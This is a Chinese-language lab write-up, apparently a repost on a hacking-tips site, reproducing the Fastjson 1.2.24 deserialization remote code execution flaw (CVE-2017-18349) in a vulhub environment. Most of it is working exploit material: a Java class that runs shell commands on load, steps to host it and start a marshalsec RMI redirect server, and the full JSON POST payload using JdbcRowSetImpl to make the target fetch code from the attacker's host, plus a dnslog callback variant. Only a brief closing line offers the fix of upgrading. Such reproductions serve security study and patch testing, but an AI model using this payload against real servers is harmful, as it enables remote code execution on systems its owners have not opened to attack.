记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

漏洞复现|CVE-2017-18349(FastJson1.2.24反序列化导致任意命令执行漏洞)

2021-09-08 11:02

0x01 前言

FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

0x2 影响范围

影响范围:Fastjson1.2.24及之前版本。

0x03 环境准备

3.1 目标环境

3.1.1 靶场环境

vulhub靶场环境:CVE-2017-18349

3.1.2 靶机:

Ubuntu20.04  ip:192.168.182.128  作用:搭建web服务器和RMI服务,nc接受反弹shell
kali ip :192.168.182.129 作用:靶机,基于vulhub漏洞集成环境运行靶场容器
win10物理机ip:192.168.43.189 作用:使用burpsuit发送POC测试

3.1.3 踩坑点

如果靶场环境启动不成功,以下两个方法供借鉴

  • 更改docker源为国内源

  • 使用root权限重启docker

0x04 漏洞复现

4.1 漏洞利用

为了能成功的利用fj1.2.24(以下简称fj24)反序列化漏洞,需要提前在Ubuntu20.04虚拟机(可自行选择主机系统)上搭建Web服务和RMI服务,通过win10物理机向fj服务器POST提交Poc后,使得靶机访问远程RMI服务,随后RMI将请求重定向到Web服务器后存放在Web服务器中的恶意Java代码(已编辑的反序列化类),从而成功实现远程命令执行。

ubuntu20.04虚拟机生成一个带命令执行的类(或在物理机生成传入),需要安装Java环境(Ubuntu20.04默认存在jdk1.8版本)

新建一个Java脚本,命名为TouchFile.java,将想执行的命令写入代码中,并进行编译。

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;
public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/successs"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}

编译代码如下:

javac TouchFile.java

4.2 python开启http服务

python2.x执行命令为

python2 -m SimpleHTTPServer 8000

python3.x执行命令为

python3 -m http.server 8000

踩坑点:win10物理机ping不通虚拟机下的ip,我虚拟机以前的网络配的很乱,VM网络还原默认配置,这个问题就解决。

4.3 下载反序列化利用工具

使用Java反序列化利用工具marshalsec辅助开启RMI环境,需要下载marshalsec、mvn。

下载marshalsec:git clone https://github.com/mbechler/marshalsec

下载maven:apt-get install maven

查看mvn版本

mvn -v

我的mvn版本是:3.6.3

  踩坑点:一般用默认的mvn的源创建项目都会失败,我win10Ubuntu20.04都试过失败,把源换成国内源,我用的是阿里云的源。

maven 大多数情况下得换源,不换源一直都是build false。

Ubuntu修改maven源地址教程:https://blog.csdn.net/weixin_33849942/article/details/92348061

进入marshalsec目录,执行mvn clean package -DskipTests 编译生成的marshalsec的jar包。

01


进入target目录,借助marshalsec项目,启动一个RMI服务器,监听端口,并制定加载远程类TouchFile.class,执行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.182.128:8000/#TouchFile”

02


4.4 远程执行命令场景一

物理机访问靶场URL http://192.168.182.129:8090/,使用bp发送构造数据包

POST / HTTP/1.1Host: 192.168.182.129:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 160
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.182.128:1099/TouchFile", "autoCommit":true }}

运行payload,成功后,服务端响应码500。

03


在监听端口查看到已建立连接。

04


进入靶机查看命令是否执行成功,输入命令进入fj环境容器执行bash:

踩坑点:查看容器id

docker pa -a

列出容器:

docker ps

查看容器id

05


执行以下命令查看远程命令是否创建

docker exec -it 7f8b773067b8 /bin/bash

06


4.5 远程执行命令场景二

修改TouchFile.java代码进行编译,进行dnslog访问。

  踩坑点:注意 python3 -m http.server一定要在TouchFile.class目录下监听!!!不然监听不成功

TouchFile.java某一部分代码改成如下:

String[] commands = {"ping", "bvgngj.dnslog.cn"}

使用bp抓包加载payload,成功解析dnslog域名:bvgngj.dnslog.cn

0x4 总结

FastJson漏洞是今年来爆出的高危漏洞,修复建议是将FastJson更新到最新版本。



知识来源: https://mp.weixin.qq.com/s?__biz=Mzg5OTY1ODMxMg==&mid=2247487504&idx=1&sn=a0042de78f4dfa223f00a7d6e4992910

阅读:14688 | 评论:0 | 标签:漏洞 CVE 序列化 执行

想收藏或者和大家分享这篇好文章→复制链接地址

“漏洞复现|CVE-2017-18349(FastJson1.2.24反序列化导致任意命令执行漏洞)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

求赞助求支持💖

标签云